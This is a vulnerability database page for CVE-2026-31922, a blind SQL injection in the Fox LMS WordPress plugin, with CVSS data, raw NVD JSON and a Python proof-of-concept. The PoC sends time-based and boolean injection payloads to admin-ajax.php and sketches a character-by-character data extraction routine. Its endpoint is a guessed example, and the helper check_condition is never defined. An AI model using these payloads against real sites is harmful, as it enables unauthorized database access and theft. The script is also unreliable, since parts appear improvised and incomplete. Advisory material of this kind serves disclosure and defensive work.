Security Vulnerability Report
中文
CVE-2026-31922 CVSS 8.5 HIGH

CVE-2026-31922

Published: 2026-03-13 19:54:39
Last Modified: 2026-04-22 21:30:26

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ays Pro Fox LMS fox-lms allows Blind SQL Injection.This issue affects Fox LMS: from n/a through <= 1.0.6.3.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Fox LMS <= 1.0.6.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-31922 Fox LMS Blind SQL Injection PoC # Target: WordPress site with Fox LMS plugin <= 1.0.6.3 import requests import time target_url = "http://target-site.com/wp-admin/admin-ajax.php" # Blind SQL Injection payload to extract database version def test_sql_injection(url): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } # Base payload - adjust the parameter and endpoint based on enumeration # Example: Testing with a vulnerable parameter like 'lesson_id' or 'course_id' # Boolean-based blind SQL injection true_payload = "1' AND 1=1 -- -" false_payload = "1' AND 1=2 -- -" # Time-based blind SQL injection time_payload = "1' AND SLEEP(5) -- -" # Database version extraction using SUBSTRING and ASCII # Example: Extract first character of database version db_version_payload = "1' AND ASCII(SUBSTRING((SELECT database()),1,1))>64 -- -" print("[*] Testing SQL Injection vulnerability...") print(f"[*] Target: {url}") # Test with time-based injection start_time = time.time() data = { "action": "fox_get_lesson", # Example action - enumerate actual endpoints "lesson_id": time_payload } try: response = requests.post(url, data=data, headers=headers, timeout=30) elapsed = time.time() - start_time if elapsed >= 5: print("[+] Time-based SQL injection confirmed!") print(f"[+] Response time: {elapsed:.2f} seconds") return True else: print("[-] No time delay detected, trying boolean-based method...") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Binary search for character extraction def extract_data(url, query, position): """Extract data using binary search algorithm""" low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"1' AND ASCII(SUBSTRING(({query}),{position},1))>{mid} -- -" # Send request and check response # Implementation depends on vulnerable endpoint if check_condition(url, payload): low = mid + 1 else: high = mid - 1 return chr(high) if high >= 32 else None if __name__ == "__main__": test_sql_injection(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31922", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:39.393", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ays Pro Fox LMS fox-lms allows Blind SQL Injection.This issue affects Fox LMS: from n/a through <= 1.0.6.3."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Inadecuada de Elementos Especiales utilizados en un Comando SQL ('inyección SQL') en Ays Pro Fox LMS fox-lms permite Inyección SQL Ciega. Este problema afecta a Fox LMS: desde n/a hasta &lt;= 1.0.6.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/fox-lms/vulnerability/wordpress-fox-lms-plugin-1-0-6-3-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}